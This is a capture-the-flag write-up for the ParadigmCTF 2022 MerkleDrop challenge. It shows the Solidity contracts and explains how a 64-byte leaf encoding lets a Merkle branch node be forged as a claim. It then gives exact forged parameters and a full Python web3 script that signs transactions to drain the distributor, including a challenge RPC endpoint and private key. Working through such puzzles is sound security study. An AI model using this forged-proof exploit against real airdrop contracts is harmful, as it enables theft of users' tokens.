ParadigmCTF 2022 MerkleDrop writeup

MerkleDrop

Description

Setup.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./MerkleDistributor.sol";

contract Token is ERC20Like {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalSupply = 1_000_000 ether;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
    }

    function approve(address to, uint256 amount) public returns (bool) {
        allowance[msg.sender][to] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        return transferFrom(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        if (from != msg.sender) {
            allowance[from][to] -= amount;
        }
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract Setup {

    Token public immutable token;
    MerkleDistributor public immutable merkleDistributor;

    constructor() payable {
        token = new Token();
        uint256 airdropAmount = 75000 * 10 ** 18;
        merkleDistributor = new MerkleDistributor(
            address(token), 
            bytes32(0x5176d84267cd453dad23d8f698d704fc7b7ee6283b5131cb3de77e58eb9c3ec3)
        );
        token.transfer(address(merkleDistributor), airdropAmount);
    }

    function isSolved() public view returns (bool) {
        bool condition1 = token.balanceOf(address(merkleDistributor)) == 0;
        bool condition2 = false;
        for (uint256 i = 0; i < 64; ++i) {
            if (!merkleDistributor.isClaimed(i)) {
                condition2 = true;
                break;
            }
        }
        return condition1 && condition2;
    }
}

MerkleDistributor.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.15;

import "./MerkleProof.sol";

interface ERC20Like {
    function transfer(address dst, uint qty) external returns (bool);
}

contract MerkleDistributor {

    event Claimed(uint256 index, address account, uint256 amount);

    address public immutable token;
    bytes32 public immutable merkleRoot;

    // This is a packed array of booleans.
    mapping(uint256 => uint256) private claimedBitMap;

    constructor(address token_, bytes32 merkleRoot_) {
        token = token_;
        merkleRoot = merkleRoot_;
    }

    function isClaimed(uint256 index) public view returns (bool) {
        uint256 claimedWordIndex = index / 256;
        uint256 claimedBitIndex = index % 256;
        uint256 claimedWord = claimedBitMap[claimedWordIndex];
        uint256 mask = (1 << claimedBitIndex);
        return claimedWord & mask == mask;
    }

    function _setClaimed(uint256 index) private {
        uint256 claimedWordIndex = index / 256;
        uint256 claimedBitIndex = index % 256;
        claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
    }

    function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
        require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');

        // Verify the merkle proof.
        bytes32 node = keccak256(abi.encodePacked(index, account, amount));
        require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');

        // Mark it claimed and send the token.
        _setClaimed(index);
        require(ERC20Like(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');

        emit Claimed(index, account, amount);
    }
}

And tree.json which include whole tree data, the total amount of recipients is 75000 ethers.

The Setup contract issues a token to the MerkleDistributor contract. And builds a MerkleTree with Hardcode MerkleRoot

The condition to solve the puzzle is:

• distribute all tokens in MerkleDistributor account
• remain at least one recipient account NO CLAIMED

It seem that is a “Mission Impossible”. But it is not.

Background

merkle-distributor
A smart contract that distributes a balance of tokens according to a merkle root
Using this contract we can implement distribute a token by merkletree.

However, to compare with the repository of merkle-distributor, I find a small bug in the contract.

Official contract

function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override

Task contract

function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external

The parameter amount is uint96 rather than uint256.

Solution

According to the definition and principle of merkletree, every branch node is calculated by keccak256(bytes32, bytes32).

We notice that the parameter of claim (uint256, address, uint96) exaclty is 64 bytes.(32 + 20 + 12).
With calculated abi.encodePacked(index, account, amount), we can forge a fake leaf node using branch node to bypass the merkle proof. Thus, we can emit a transfer with no claim index 0 - 63.

First, we need two branches node to calculate another branch node, which can bypass the merkle proof with correct merkleProof, it is easy to build.

The most important condition for suitable branch node hash is: the last 12 bytes MUST be smaller than 75000 ethers, otherwise we can’t to call transfer token.

After seaching in tree.json, we found
0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b, with precalculated hashdict, we can find its sibling node hash 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
so we submit a claim with parameters:

{
    "index": 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442,
    "account": "0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A",
    "amount": 0x00000f40f0c122ae08d2207b,
    "merkleProof": ["0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d",
        "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde",
        "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813",
        "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c",
        "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
        ]
}

Transaction successfully submitted, and the balance of the MerkleDistributor account is 2966562950867434987397. Luckily, is magic number is found in tree.json as amount of node 8, so we only need to submitted another transaction to claim node 8, thus we can get the flag.

exploit

import json
from web3 import Web3, HTTPProvider

rpc_endpoint=   'http://35.188.148.32:8545/6e853b32-0a87-40bb-bfbf-85e9cf1b22aa'
private_key=    '0x8f5753cd5fa023584595730250634e5f2644880987762f1e8a5728918806f1ab'
setup_contract= '0xA3D9Eb4AA4b0f9249618B36b85cbd09744d24f71'

tree = json.loads(open('tree.json', 'r').read())
MerkleRoot = tree.get('merkleRoot')

w3 = Web3(HTTPProvider(rpc_endpoint))
account = w3.eth.account.privateKeyToAccount(private_key)
setup_abi = open('./output/Setup.abi', 'r').read()
MerkDrop_abi = open('./output/MerkleDistributor.abi', 'r').read()
token_abi = open('./output/Token.abi', 'r').read()

setup_contract = w3.eth.contract(address=setup_contract, abi=setup_abi)
MerkDrop_address = setup_contract.functions.merkleDistributor().call()
MerkDrop_contract = w3.eth.contract(address=MerkDrop_address, abi=MerkDrop_abi)
token_addr = MerkDrop_contract.functions.token().call()
token_contract = w3.eth.contract(address=token_addr, abi=token_abi)

index = 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
addr = '0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A'
amount = 0x00000f40f0c122ae08d2207b
proof = ['0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d','0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde','0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813','0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c','0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5']

TransactionData = MerkDrop_contract.functions['claim'](index, addr, amount, proof).buildTransaction({
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'gas': 3000000,
    'gasPrice': w3.toWei(1,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei')
})
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
assert txrecipet['status'] == 1

for i in tree['claims']:
    index = tree['claims'][i]['index']
    if index == 8:
        amount = tree['claims'][i]['amount']
        Proof = tree['claims'][i]['proof']
        print(index, setup_contract.functions.isSolved().call())
        TransactionData = MerkDrop_contract.functions['claim'](int(index), i, int(amount, 16), Proof).buildTransaction({
            'chainId': w3.eth.chain_id,
            'from': account.address,
            'gas': 3000000,
            'gasPrice': w3.toWei(1,'wei'),
            'nonce': w3.eth.getTransactionCount(account.address),
            'value': w3.toWei(0,'wei')
        })
        signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
        txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
        txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
        assert txrecipet['status'] == 1